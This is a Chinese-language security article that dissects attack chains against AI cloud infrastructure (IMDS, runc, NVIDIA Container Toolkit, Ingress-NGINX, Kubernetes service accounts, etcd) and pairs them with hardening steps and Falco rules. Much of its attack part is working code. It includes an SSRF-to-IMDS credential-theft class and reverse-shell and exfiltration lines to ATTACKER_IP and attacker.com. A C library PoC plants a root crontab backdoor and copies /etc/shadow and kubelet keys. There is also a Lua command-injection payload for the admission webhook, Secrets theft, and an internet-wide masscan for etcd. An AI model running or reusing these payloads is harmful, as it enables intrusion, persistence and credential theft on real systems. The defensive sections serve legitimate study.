0. 背景:AI 基础设施面临的云安全威胁
2025-2026 年,AI 基础设施成为云攻击的首要目标。Capital One 数据泄露事件揭示了 IMDS 滥用的破坏力;NVIDIA Container Toolkit 逃逸("NVIDIAScape")影响 37% 的云 GPU 环境;runc 连环漏洞被 APT 在野利用;Kubernetes 攻击同比增长 282%。
本文从攻击者视角完整拆解 AI 基础设施的攻击链,并给出对应的防御检测方案。
┌──────────────────────────────────────────────────────────────────┐
│ AI 基础设施攻击链全景 │
│ │
│ 初始入侵 横向移动 权限提升 目标达成 │
│ ┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │SSRF漏洞 │───→│IMDS凭证 │───→│IAM角色 │───→│S3数据窃取│ │
│ │容器逃逸 │───→│SA Token │───→│K8s集群 │───→│模型窃取 │ │
│ │镜像投毒 │───→│etcd暴露 │───→│云账户 │───→│挖矿持久化│ │
│ └─────────┘ └──────────┘ └──────────┘ └──────────┘ │
│ │
│ 核心攻击面: │
│ ① 云元数据服务 (IMDS) ② 容器运行时 (runc/Docker) │
│ ③ 编排系统 (K8s) ④ GPU基础设施 (NVIDIA Toolkit) │
│ ⑤ API网关 (Ingress) ⑥ 存储层 (etcd) │
└──────────────────────────────────────────────────────────────────┘
1. 云元数据服务(IMDS)滥用攻击链
1.1 IMDS 原理与攻击面
IMDS(Instance Metadata Service)位于 169.254.169.254,提供实例配置信息和临时 IAM 凭证,是云环境最高价值目标之一。
| 云厂商 |
端点 |
认证要求 |
凭证路径 |
| AWS |
http://169.254.169.254/latest/meta-data/ |
IMDSv1 无需认证 |
/iam/security-credentials/<role-name> |
| Azure |
http://169.254.169.254/metadata/instance |
需 Metadata: true 头 |
/identity/oauth2/token |
| GCP |
http://metadata.google.internal |
需 Metadata-Flavor: Google 头 |
/computeMetadata/v1/instance/service-accounts/default/token |
1.2 IMDSv1 SSRF 攻击链复现
"""
IMDS 滥用攻击链复现 — 仅用于授权测试环境
模拟 Capital One 式攻击: SSRF → IMDS → IAM 凭证 → S3 数据窃取
"""
import requests
import json
from urllib.parse import quote
class IMDSAttackChain:
"""IMDS 滥用攻击链仿真器"""
def __init__(self, target_url: str):
"""
target_url: 存在 SSRF 漏洞的目标应用 URL
"""
self.target = target_url
self.imds_endpoint = "169.254.169.254"
self.credentials = None
def step1_ssrf_to_imds(self) -> dict:
"""步骤 1: 通过 SSRF 访问 IMDS"""
# 构造 SSRF payload
# 场景: 目标应用的 URL 预览功能存在 SSRF
ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/"
# 通过目标应用的 SSRF 漏洞转发请求
params = {"url": ssrf_payload}
response = requests.get(self.target, params=params, timeout=10)
if response.status_code == 200:
# IMDSv1 不需要任何额外头即可访问
metadata_paths = response.text.strip().split("\n")
return {
"step": "ssrf_to_imds",
"status": "success",
"available_paths": metadata_paths,
"imds_version": "v1 (no auth required)"
}
return {"step": "ssrf_to_imds", "status": "failed"}
def step2_extract_iam_role(self) -> str:
"""步骤 2: 提取实例关联的 IAM 角色名"""
ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/iam/security-credentials/"
params = {"url": ssrf_payload}
response = requests.get(self.target, params=params, timeout=10)
role_name = response.text.strip()
return role_name
def step3_steal_credentials(self, role_name: str) -> dict:
"""步骤 3: 窃取临时 IAM 凭证"""
ssrf_payload = f"http://{self.imds_endpoint}/latest/meta-data/iam/security-credentials/{role_name}"
params = {"url": ssrf_payload}
response = requests.get(self.target, params=params, timeout=10)
creds = response.json()
self.credentials = {
"AccessKeyId": creds["AccessKeyId"],
"SecretAccessKey": creds["SecretAccessKey"],
"Token": creds["Token"],
"Expiration": creds["Expiration"]
}
return self.credentials
def step4_lateral_to_s3(self, bucket_name: str) -> list:
"""步骤 4: 使用窃取的凭证访问 S3 桶"""
import boto3
session = boto3.Session(
aws_access_key_id=self.credentials["AccessKeyId"],
aws_secret_access_key=self.credentials["SecretAccessKey"],
aws_session_token=self.credentials["Token"]
)
s3 = session.client("s3")
# 列出桶内容
objects = s3.list_objects_v2(Bucket=bucket_name)
return [obj["Key"] for obj in objects.get("Contents", [])]
def run_full_chain(self, bucket_name: str = None):
"""执行完整攻击链"""
print("[*] Step 1: SSRF → IMDS")
step1 = self.step1_ssrf_to_imds()
print(f" Available paths: {step1.get('available_paths', [])}")
print("[*] Step 2: Extract IAM Role")
role = self.step2_extract_iam_role()
print(f" Role: {role}")
print("[*] Step 3: Steal Temporary Credentials")
creds = self.step3_steal_credentials(role)
print(f" AccessKeyId: {creds['AccessKeyId']}")
print(f" Expiration: {creds['Expiration']}")
if bucket_name:
print("[*] Step 4: Lateral Movement to S3")
objects = self.step4_lateral_to_s3(bucket_name)
print(f" Found {len(objects)} objects in {bucket_name}")
return {"role": role, "credentials": creds, "s3_objects": objects}
return {"role": role, "credentials": creds}
# === 防御: IMDSv2 强制 token 认证 ===
class IMDSv2Protection:
"""IMDSv2 防御配置验证器"""
@staticmethod
def verify_imdsv2_enabled(ec2_client) -> dict:
"""验证所有 EC2 实例已启用 IMDSv2"""
instances = ec2_client.describe_instances()
results = []
for reservation in instances["Reservations"]:
for instance in reservation["Instances"]:
imds = instance.get("MetadataOptions", {})
results.append({
"instance_id": instance["InstanceId"],
"http_tokens": imds.get("HttpTokens", "unknown"),
# "optional" = IMDSv1 仍然可用 (危险)
# "required" = 强制 IMDSv2 (安全)
"http_endpoint": imds.get("HttpEndpoint", "unknown"),
"hop_limit": imds.get("HttpPutResponseHopLimit", 1),
"vulnerable": imds.get("HttpTokens") != "required"
})
vulnerable = [r for r in results if r["vulnerable"]]
return {
"total_instances": len(results),
"vulnerable_count": len(vulnerable),
"vulnerable_instances": vulnerable,
"recommendation": "Set HttpTokens=required on all instances"
}
@staticmethod
def block_imds_via_network_policy():
"""K8s NetworkPolicy 阻断 Pod 访问 IMDS"""
return {
"apiVersion": "networking.k8s.io/v1",
"kind": "NetworkPolicy",
"metadata": {
"name": "block-imds-access",
"namespace": "default"
},
"spec": {
"podSelector": {},
"policyTypes": ["Egress"],
"egress": [
{
"to": [
{
"ipBlock": {
"cidr": "10.0.0.0/8",
"except": ["169.254.169.254/32"]
}
}
]
},
{
"to": [
{"ipBlock": {"cidr": "172.16.0.0/12",
"except": ["169.254.169.254/32"]}}
]
}
]
}
}
1.3 IMDSv1 vs IMDSv2 对比
| 维度 |
IMDSv1 |
IMDSv2 |
| 认证 |
无需认证 |
需要 PUT 请求获取 session token |
| 攻击难度 |
简单 SSRF 即可 |
需要 SSRF + 支持 PUT 方法 |
| Token 有效期 |
无 |
最长 6 小时(实例控制) |
| Hop Limit |
无限制 |
默认 1 跳(阻断容器内访问) |
| AWS 推荐 |
已弃用 |
强制使用 |
2. runc 容器逃逸三连击
2.1 漏洞概览
2025 年 11 月,runc 连续披露三个高危容器逃逸漏洞,均通过自定义挂载配置触发:
| CVE |
CVSS |
原理 |
在野利用 |
| CVE-2025-31133 |
7.3 |
masked path 滥用 + 挂载竞态 |
APT 在野利用,CVSS 标记 10.0 |
| CVE-2025-52565 |
7.3 |
/dev/console bind-mount 漏洞 |
— |
| CVE-2025-52881 |
7.3 |
绕过 LSM 检查 |
— |
修复版本:runc v1.2.8 / v1.3.3 / v1.4.0-rc.3
2.2 CVE-2025-31133 根因分析
┌────────────────────────────────────────────────────────────────┐
│ CVE-2025-31133: runc masked path 滥用 │
│ │
│ 正常流程: │
│ ┌──────────┐ bind-mount ┌──────────────┐ │
│ │ /dev/null │ ──────────────→ │ /proc/sys/... │ (只读保护) │
│ │ (runc设置)│ │ masked path │ │
│ └──────────┘ └──────────────┘ │
│ │
│ 攻击流程: │
│ ┌──────────┐ symlink ┌──────────────┐ │
│ │ /dev/null │ ──→ symlink ──→ │ /proc/sys/ │ (读写!) │
│ │ (攻击者改)│ 替换为符号链接 │ kernel/core_ │ │
│ └──────────┘ │ pattern │ │
│ └──────────────┘ │
│ │ │
│ ▼ │
│ runc 以 root 身份 bind-mount 符号链接目标 (读写模式) │
│ → 攻击者获得对 /proc/sys/kernel/core_pattern 的写权限 │
│ → 写入恶意管道命令 │
│ → 下次崩溃时以 root 执行任意命令 = 完整逃逸 │
└────────────────────────────────────────────────────────────────┘
2.3 PoC 复现
# CVE-2025-31133 PoC — 仅用于授权测试
# 利用 Dockerfile 的 RUN --mount=... 功能
FROM ubuntu:22.04
# 构造恶意挂载: 将 /dev/null 替换为指向 /proc/sys/kernel/core_pattern 的符号链接
RUN --mount=type=bind,source=/dev/null,target=/tmp/exploit \
ln -sf /proc/sys/kernel/core_pattern /tmp/exploit
# runc 在执行 RUN 指令时:
# 1. 读取 mount 配置,发现 target=/tmp/exploit
# 2. 准备 bind-mount /dev/null → /tmp/exploit
# 3. 但 /tmp/exploit 已是符号链接,指向 /proc/sys/kernel/core_pattern
# 4. runc 跟随符号链接,以读写模式 mount 到 /proc/sys/kernel/core_pattern
# 5. 攻击者现在可以写入 core_pattern 实现逃逸
# 写入恶意 core_pattern
RUN echo '|/tmp/payload.sh %p %E' > /proc/sys/kernel/core_pattern
# 触发崩溃以执行 payload
RUN bash -c 'kill -SEGV $$'
"""
CVE-2025-31133 完整利用链 — Python 仿真
用于理解漏洞原理,仅限授权测试
"""
import subprocess
import os
import signal
import time
class RuncEscapeCVE202531133:
"""runc 容器逃逸仿真器"""
def __init__(self, container_name: str = "vuln-test"):
self.container = container_name
self.host_core_pattern = "/proc/sys/kernel/core_pattern"
def check_vulnerable(self) -> bool:
"""检查 runc 版本是否受影响"""
result = subprocess.run(
["runc", "--version"],
capture_output=True, text=True
)
version_line = result.stdout.split("\n")[0]
# 受影响版本: runc < 1.2.8, < 1.3.3
# 简化判断逻辑
if "1.2." in version_line or "1.3." in version_line:
parts = version_line.split()
if len(parts) >= 2:
version = parts[2] # "1.2.7"
major, minor, patch = map(int, version.split("."))
if (major, minor, patch) < (1, 2, 8):
return True
if (major, minor) == (1, 3) and patch < 3:
return True
return False
def prepare_exploit(self):
"""准备逃逸 payload"""
payload_script = """#!/bin/bash
# payload.sh — 在宿主机以 root 执行
# 通过 core_pattern 触发
TARGET_PID=$1
BINARY=$2
# 反弹 shell 到攻击者控制的服务器
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# 或者直接操作宿主机文件系统
# echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
# cat /etc/shadow > /tmp/shadow_exfil
# curl http://attacker.com/exfil -d @/etc/shadow
"""
with open("/tmp/payload.sh", "w") as f:
f.write(payload_script)
os.chmod("/tmp/payload.sh", 0o755)
def trigger_escape(self):
"""触发逃逸"""
# 步骤 1: 通过符号链接替换 /dev/null
# (已在 Dockerfile 中完成)
# 步骤 2: 写入恶意 core_pattern
# core_pattern 格式: |路径 参数
# %p = 崩溃进程 PID, %E = 可执行文件路径
with open(self.host_core_pattern, "w") as f:
f.write("|/tmp/payload.sh %p %E\n")
# 步骤 3: 触发段错误,内核执行 core_pattern 中的命令
# 此时 payload.sh 以 root (uid 0) 在宿主机命名空间执行
os.kill(os.getpid(), signal.SIGSEGV)
def cleanup(self):
"""清理痕迹"""
try:
with open(self.host_core_pattern, "w") as f:
f.write("core\n") # 恢复默认值
os.remove("/tmp/payload.sh")
except:
pass
# === 防御: runc 版本检测 ===
class RuncSecurityCheck:
"""runc 安全检查工具"""
@staticmethod
def check_version():
"""检查 runc 版本是否已修复"""
result = subprocess.run(
["runc", "--version"],
capture_output=True, text=True
)
print(f"runc version: {result.stdout}")
# 修复版本矩阵
fixed_versions = {
"1.2": "1.2.8",
"1.3": "1.3.3",
"1.4": "1.4.0-rc.3"
}
for branch, fixed in fixed_versions.items():
print(f" Branch {branch}: fixed in {fixed}")
@staticmethod
def check_dangerous_mounts():
"""检查 Dockerfile 中的危险挂载"""
dangerous_patterns = [
"RUN --mount=type=bind,source=/dev/null",
"RUN --mount=type=bind,source=/proc",
"RUN --mount=type=bind,source=/sys",
]
# 扫描项目中的所有 Dockerfile
import glob
for dockerfile in glob.glob("**/Dockerfile*", recursive=True):
with open(dockerfile) as f:
content = f.read()
for pattern in dangerous_patterns:
if pattern in content:
print(f"[!] {dockerfile}: dangerous mount pattern found")
print(f" Pattern: {pattern}")
2.4 CVE-2025-52881:LSM 绕过
"""
CVE-2025-52881: 绕过 LSM (Linux Security Module) 检查
使 /proc/self/attr/<label> 引用真实 procfs 文件
"""
# 攻击原理:
# 1. runc 在设置容器 SELinux/AppArmor 标签时写入 /proc/self/attr/exec
# 2. 攻击者通过符号链接将 /proc/self/attr/exec 指向:
# - /proc/sysrq-trigger → 主机崩溃 (DoS)
# - /proc/sys/kernel/core_pattern → 完整逃逸
# 3. runc 的 LSM 检查认为写入的是 attr 文件,不做额外验证
# 防御: Pod Security Admission
psa_restricted_policy = """
apiVersion: v1
kind: Namespace
metadata:
name: ai-workloads
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
---
# Restricted PSA 禁止:
# - privileged: true
# - hostPath volumes
# - hostPID, hostIPC, hostNetwork
# - root 用户 (runAsNonRoot: true)
# - 不安全的 procfs 挂载
apiVersion: v1
kind: Pod
metadata:
name: ai-inference-safe
namespace: ai-workloads
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: inference
image: ai-model:v1.2.3@sha256:abc123... # 使用 digest 而非 latest
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
resources:
limits:
memory: "16Gi"
cpu: "4"
nvidia.com/gpu: 1
volumeMounts:
- name: tmp
mountPath: /tmp
- name: model-cache
mountPath: /models
readOnly: true
volumes:
- name: tmp
emptyDir: {}
- name: model-cache
persistentVolumeClaim:
claimName: model-pvc-readonly
"""
3.1 漏洞概述
| CVE |
CVSS |
影响版本 |
影响 |
| CVE-2025-23266 |
高危 |
Toolkit < v1.17.8, GPU Operator < v25.3.1 |
37% 云 GPU 环境受影响 |
| CVE-2024-0132 |
9.0 |
2024年9月披露 |
TOCTOU 竞态条件 |
3.2 CVE-2025-23266 PoC
# CVE-2025-23266 PoC — 仅用于授权测试
# 利用 OCI hooks 在主机以 root 运行的特性
FROM nvidia/cuda:12.0-base
# 恶意共享库 — 将在容器启动时被主机 root 进程加载
COPY poc.so /tmp/poc.so
# LD_PRELOAD 注入: toolkit 的 hook 进程(主机 root)会加载此库
ENV LD_PRELOAD=/tmp/poc.so
// poc.c — 恶意共享库源码
// 编译: gcc -shared -fPIC -o poc.so poc.c -ldl
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
// constructor 属性: 库被加载时自动执行
__attribute__((constructor))
void on_load() {
// 此时运行在 NVIDIA Container Toolkit 的 hook 进程中
// 该进程以主机 root 身份运行
pid_t pid = fork();
if (pid == 0) {
// 子进程: 执行逃逸 payload
// 1. 挂载宿主机根文件系统
system("mkdir -p /tmp/host_root");
system("mount /dev/sda1 /tmp/host_root 2>/dev/null || "
"mount /dev/nvme0n1p1 /tmp/host_root 2>/dev/null || "
"mount /dev/vda1 /tmp/host_root 2>/dev/null");
// 2. 写入持久化后门
system("echo '* * * * * root /bin/bash -c "
"\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"' "
">> /tmp/host_root/etc/crontab");
// 3. 窃取宿主机凭证
system("cat /tmp/host_root/etc/shadow > /tmp/shadow_exfil");
system("cat /tmp/host_root/var/lib/kubelet/pki/kubelet.key "
"> /tmp/kubelet_key_exfil 2>/dev/null");
// 4. 窃取 AI 模型权重
system("find /tmp/host_root -name '*.safetensors' -o -name '*.bin' "
"-o -name 'pytorch_model*' | head -10 > /tmp/model_paths");
_exit(0);
}
// 父进程: 继续正常执行,不引起怀疑
}
3.3 防御方案
#!/bin/bash
# NVIDIA Container Toolkit 安全加固脚本
# 1. 检查并升级版本
echo "[*] Checking NVIDIA Container Toolkit version..."
nvidia-ctk --version
# 修复版本: >= 1.17.8
# 升级: apt-get update && apt-get install nvidia-container-toolkit=1.17.8-1
# 2. 禁用 LD_PRELOAD (如果可能)
# 在 NVIDIA Container Toolkit 配置中
cat > /etc/nvidia-container-runtime/config.toml << 'EOF'
[nvidia-container-cli]
# 禁止通过 LD_PRELOAD 注入
loading =
disable-require = false
# 仅允许特定挂载
no-cgroups = false
# 验证所有 hook
verify-hooks = true
EOF
# 3. 使用 Pod Security Admission 限制
kubectl label namespace gpu-workloads \
pod-security.kubernetes.io/enforce=restricted
# 4. 使用 seccomp profile 限制系统调用
cat > /tmp/nvidia-seccomp.json << 'SECCOMP'
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [
{
"names": [
"read", "write", "open", "openat", "close", "mmap",
"mprotect", "munmap", "brk", "rt_sigaction", "rt_sigprocmask",
"ioctl", "pread64", "pwrite64", "readv", "writev",
"access", "pipe", "select", "sched_yield", "mremap",
"msync", "mincore", "madvise", "shmget", "shmat", "shmctl",
"dup", "dup2", "pause", "nanosleep", "getitimer", "alarm",
"setitimer", "getpid", "sendfile", "socket", "connect",
"accept", "sendto", "recvfrom", "sendmsg", "recvmsg",
"shutdown", "bind", "listen", "getsockname", "getpeername",
"socketpair", "setsockopt", "getsockopt", "clone", "fork",
"vfork", "execve", "exit", "wait4", "kill", "uname",
"fcntl", "flock", "fsync", "fdatasync", "truncate", "ftruncate",
"getdents", "getcwd", "chdir", "fchdir", "rename", "mkdir",
"rmdir", "creat", "link", "unlink", "symlink", "readlink",
"chmod", "fchmod", "chown", "fchown", "lchown", "umask",
"gettimeofday", "getrlimit", "getrusage", "sysinfo"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
SECCOMP
4. Kubernetes 编排漏洞攻击链
4.1 高危 K8s CVE 汇总
| CVE |
组件 |
CVSS |
说明 |
| CVE-2025-1974 |
Ingress-NGINX |
9.8 |
IngressNightmare,未认证 RCE,影响 43% 云环境 |
| CVE-2024-21626 |
runc |
8.6 |
Leaky Vessels,影响 80% 云环境,勒索团伙在野利用 |
| CVE-2025-1176 |
etcd |
9.5 |
默认未启用 TLS 认证,暴露 2379 端口直接访问集群数据 |
4.2 IngressNightmare(CVE-2025-1974)攻击链
"""
CVE-2025-1974: Ingress-NGINX AdmissionReview 注入
攻击者构造恶意 AdmissionReview 请求,在 ingress-nginx controller 中执行任意代码
"""
import requests
import json
import base64
from kubernetes import client, config
class IngressNightmareExploit:
"""IngressNightmare 漏洞利用仿真器"""
def __init__(self, webhook_url: str):
"""
webhook_url: ingress-nginx validating webhook 的 URL
通常为: https://<ingress-nginx-controller>:8443/extensions/ingress
"""
self.webhook_url = webhook_url
def craft_malicious_admission_review(self, payload_cmd: str) -> dict:
"""构造恶意 AdmissionReview 请求"""
# 将 payload 嵌入到 Ingress 资源的 annotation 中
# ingress-nginx controller 会解析这些 annotation 并执行 nginx 配置渲染
# 通过配置注入实现 RCE
malicious_ingress = {
"apiVersion": "networking.k8s.io/v1",
"kind": "Ingress",
"metadata": {
"name": "legitimate-ingress",
"namespace": "default",
"annotations": {
# 通过 nginx 配置注入执行命令
"nginx.ingress.kubernetes.io/configuration-snippet": f"""
# 注入的恶意配置
lua_need_request_body off;
access_by_lua_block {{
os.execute("{payload_cmd}")
}}
""",
# 或者通过 server-snippet 注入
"nginx.ingress.kubernetes.io/server-snippet": f"""
location /healthz {{
content_by_lua_block {{
os.execute("{payload_cmd}")
}}
}}
"""
}
},
"spec": {
"rules": [{
"host": "legitimate.example.com",
"http": {
"paths": [{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "frontend",
"port": {"number": 80}
}
}
}]
}
}]
}
}
# 构造 AdmissionReview
admission_review = {
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "00000000-0000-0000-0000-000000000001",
"kind": {"group": "networking.k8s.io", "version": "v1", "kind": "Ingress"},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "legitimate-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"username": "system:anonymous",
"groups": ["system:unauthenticated"]
},
"object": malicious_ingress,
"oldObject": None,
"dryRun": False,
"options": {"kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1"}
}
}
return admission_review
def send_exploit(self, payload_cmd: str = "id > /tmp/pwned"):
"""发送恶意 AdmissionReview 到 webhook"""
review = self.craft_malicious_admission_review(payload_cmd)
# ingress-nginx webhook 不验证请求来源 (漏洞核心)
# 攻击者无需认证即可直接访问
response = requests.post(
self.webhook_url,
json=review,
headers={"Content-Type": "application/json"},
verify=False, # webhook 使用自签证书
timeout=10
)
return {
"status_code": response.status_code,
"response": response.json() if response.status_code == 200 else response.text,
"payload_executed": response.status_code == 200
}
# === 防御: IngressNightmare 缓解 ===
class IngressNightmareDefense:
"""IngressNightmare 防御配置"""
@staticmethod
def restrict_webhook_access():
"""限制 webhook 仅接受来自 API Server 的请求"""
return {
# ingress-nginx controller 启动参数
"args": [
"--validating-webhook-certificate=/usr/local/certificates/cert.pem",
"--validating-webhook-key=/usr/local/certificates/key.pem",
"--enable-ssl-chain-completion=false",
"--validating-webhook=:8443",
# 关键: 限制 webhook 仅接受来自 API Server 的连接
"--watch-ingress-without-class=false",
],
# NetworkPolicy 限制 webhook 端口
"network_policy": {
"apiVersion": "networking.k8s.io/v1",
"kind": "NetworkPolicy",
"metadata": {"name": "restrict-ingress-webhook"},
"spec": {
"podSelector": {
"matchLabels": {"app.kubernetes.io/name": "ingress-nginx"}
},
"policyTypes": ["Ingress"],
"ingress": [{
"from": [{
"namespaceSelector": {
"matchLabels": {
"kubernetes.io/metadata.name": "kube-system"
}
}
}],
"ports": [{"protocol": "TCP", "port": 8443}]
}]
}
}
}
@staticmethod
def disable_lua_in_annotations():
"""禁用 annotation 中的 Lua 执行"""
return {
"nginx.ingress.kubernetes.io/enable-lua": "false",
"nginx.ingress.kubernetes.io/allow-snippet-annotations": "false",
}
4.3 ServiceAccount Token → 云 IAM 攻击链
"""
K8s ServiceAccount Token → 云 IAM 横向移动
在 EKS/GKE/AKS 中,K8s SA 通过 Workload Identity 映射到云 IAM 角色
"""
class SATokenToCloudIAM:
"""SA Token 到云 IAM 的攻击链仿真"""
def __init__(self):
self.sa_token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"
self.api_server = "https://kubernetes.default.svc"
self.ca_cert = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
def read_sa_token(self) -> str:
"""步骤 1: 读取容器内的 ServiceAccount Token"""
with open(self.sa_token_path) as f:
token = f.read().strip()
# JWT 解码查看权限
import base64
parts = token.split(".")
payload = base64.urlsafe_b64decode(parts[1] + "==")
payload_json = json.loads(payload)
print(f"[*] SA Token issuer: {payload_json.get('iss')}")
print(f"[*] SA Token sub: {payload_json.get('sub')}")
print(f"[*] SA Token aud: {payload_json.get('aud')}")
return token
def enumerate_permissions(self, token: str) -> dict:
"""步骤 2: 枚举 SA 权限"""
import urllib.request
# 使用 kubectl auth can-i --list 等效 API 调用
url = f"{self.api_server}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
body = json.dumps({
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": {"namespace": "default"}
}).encode()
req = urllib.request.Request(url, data=body, method="POST")
req.add_header("Authorization", f"Bearer {token}")
req.add_header("Content-Type", "application/json")
# 禁用 SSL 验证 (集群内通信)
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
response = urllib.request.urlopen(req, context=ctx)
rules = json.loads(response.read())
# 分析危险权限
dangerous_perms = []
for rule in rules["status"]["resourceRules"]:
verbs = rule.get("verbs", [])
resources = rule.get("resources", [])
if "*" in verbs:
dangerous_perms.append({"rule": rule, "reason": "wildcard verb"})
if "secrets" in resources:
dangerous_perms.append({"rule": rule, "reason": "secrets access"})
if "pods" in resources and "create" in verbs:
dangerous_perms.append({"rule": rule, "reason": "can create pods"})
if "clusterrolebindings" in resources:
dangerous_perms.append({
"rule": rule,
"reason": "can modify RBAC = cluster admin"
})
return {
"all_rules": rules["status"]["resourceRules"],
"dangerous_permissions": dangerous_perms
}
def steal_secrets(self, token: str) -> list:
"""步骤 3: 窃取 K8s Secrets"""
import urllib.request
url = f"{self.api_server}/api/v1/namespaces/default/secrets"
req = urllib.request.Request(url)
req.add_header("Authorization", f"Bearer {token}")
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
response = urllib.request.urlopen(req, context=ctx)
secrets = json.loads(response.read())
stolen = []
for secret in secrets.get("items", []):
name = secret["metadata"]["name"]
secret_type = secret["type"]
data = secret.get("data", {})
# 解码 base64 数据
decoded = {}
for key, value in data.items():
decoded[key] = base64.b64decode(value).decode("utf-8", errors="replace")
stolen.append({
"name": name,
"type": secret_type,
"data_keys": list(decoded.keys())
})
return stolen
def escalate_to_cloud(self, token: str, cloud: str = "aws"):
"""步骤 4: 通过 Workload Identity 横向到云 IAM"""
if cloud == "aws":
# EKS: SA token → AWS STS AssumeRoleWithWebIdentity
import urllib.request
# 1. 获取 AWS 角色 ARN (从 SA 注解或环境变量)
role_arn = os.environ.get("AWS_ROLE_ARN")
if not role_arn:
print("[!] AWS_ROLE_ARN not found, checking SA annotations...")
return None
# 2. 使用 SA token 向 STS 换取 AWS 临时凭证
url = (
f"https://sts.amazonaws.com/"
f"?Action=AssumeRoleWithWebIdentity"
f"&Version=2011-06-15"
f"&RoleArn={role_arn}"
f"&RoleSessionName=exploit-session"
f"&WebIdentityToken={token}"
)
req = urllib.request.Request(url, method="POST")
response = urllib.request.urlopen(req)
# 解析 AWS 凭证
import xml.etree.ElementTree as ET
root = ET.fromstring(response.read())
creds = root.find(
".//{https://sts.amazonaws.com/doc/2011-06-15/}Credentials"
)
aws_creds = {
"AccessKeyId": creds.find("AccessKeyId").text,
"SecretAccessKey": creds.find("SecretAccessKey").text,
"SessionToken": creds.find("SessionToken").text
}
print(f"[+] AWS credentials obtained!")
print(f" AccessKeyId: {aws_creds['AccessKeyId']}")
return aws_creds
elif cloud == "gcp":
# GKE: SA token → GCP access token
url = (
"http://metadata.google.internal"
"/computeMetadata/v1/instance/service-accounts/default/token"
)
req = urllib.request.Request(url)
req.add_header("Metadata-Flavor", "Google")
response = urllib.request.urlopen(req)
token_data = json.loads(response.read())
print(f"[+] GCP access token obtained!")
return token_data
5. etcd 暴露攻击
5.1 CVE-2025-1176:etcd 未认证访问
#!/bin/bash
# etcd 暴露检测 — 仅用于授权测试
# 1. 扫描暴露的 etcd 端口 (2379)
masscan 0.0.0.0/0 -p 2379 --rate 5000 -oJ etcd_scan.json
# 2. 检测未认证访问
for ip in $(jq -r '.[].ip' etcd_scan.json); do
echo "[*] Testing $ip:2379"
# 尝试无认证访问
response=$(curl -sk "http://$ip:2379/v2/keys/" 2>/dev/null)
if echo "$response" | jq . >/dev/null 2>&1; then
echo "[!] $ip:2379 - UNAUTHENTICATED ACCESS!"
# 列出所有 key
curl -sk "http://$ip:2379/v2/keys/?recursive=true" | jq .
# 常见敏感 key:
# /registry/secrets/default/<secret-name>
# /registry/configmaps/kube-system/kubeadm-config
# /registry/serviceaccounts/default/default
fi
done
# 3. 提取凭证
# etcd 存储了 K8s 集群的所有状态,包括:
# - 所有 Secrets (base64 编码)
# - ServiceAccount Tokens
# - TLS 证书和私钥
# - ConfigMaps 中的敏感配置
5.2 etcd 加固
# 1. 启用 TLS 认证
# /etc/kubernetes/manifests/etcd.yaml
cat > /etc/kubernetes/manifests/etcd.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: etcd
namespace: kube-system
spec:
containers:
- name: etcd
command:
- etcd
- --cert-file=/etc/kubernetes/pki/etcd/server.crt
- --key-file=/etc/kubernetes/pki/etcd/server.key
- --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
- --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
- --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
- --client-cert-auth=true # 关键: 强制客户端证书认证
- --peer-client-cert-auth=true # 强制 peer 证书认证
- --listen-client-urls=https://127.0.0.1:2379 # 仅本地监听
- --advertise-client-urls=https://127.0.0.1:2379
volumeMounts:
- name: etcd-certs
mountPath: /etc/kubernetes/pki/etcd
readOnly: true
volumes:
- name: etcd-certs
hostPath:
path: /etc/kubernetes/pki/etcd
type: Directory
EOF
# 2. 防火墙规则: 阻断 2379 端口的外部访问
iptables -A INPUT -p tcp --dport 2379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP
# 3. 定期审计 etcd 访问
# 启用 etcd 审计日志
echo '--log-package-levels=etcdserver=debug' >> /etc/kubernetes/manifests/etcd.yaml
6. 运行时检测体系
6.1 Falco 规则集
# falco-ai-infra-rules.yaml
# AI 基础设施专用 Falco 检测规则
# 规则 1: 容器内 shell 执行
- rule: Shell Spawned in Container
desc: 检测容器内启动 shell 进程
condition: >
spawned_process and container and
shell_procs and not shell_in_allowlist
output: >
Shell spawned in container
(user=%user.name container=%container.name
image=%container.image.repository
cmd=%proc.cmdline pid=%proc.pid
namespace=%k8s.ns.name)
priority: WARNING
tags: [container, shell, mitre_execution]
# 规则 2: 容器访问宿主机敏感文件
- rule: Container Reading Host Sensitive File
desc: 检测容器读取宿主机敏感文件(逃逸信号)
condition: >
open_read and container and
(fd.name in (/host/etc/shadow, /host/proc/1/environ,
/proc/sys/kernel/core_pattern,
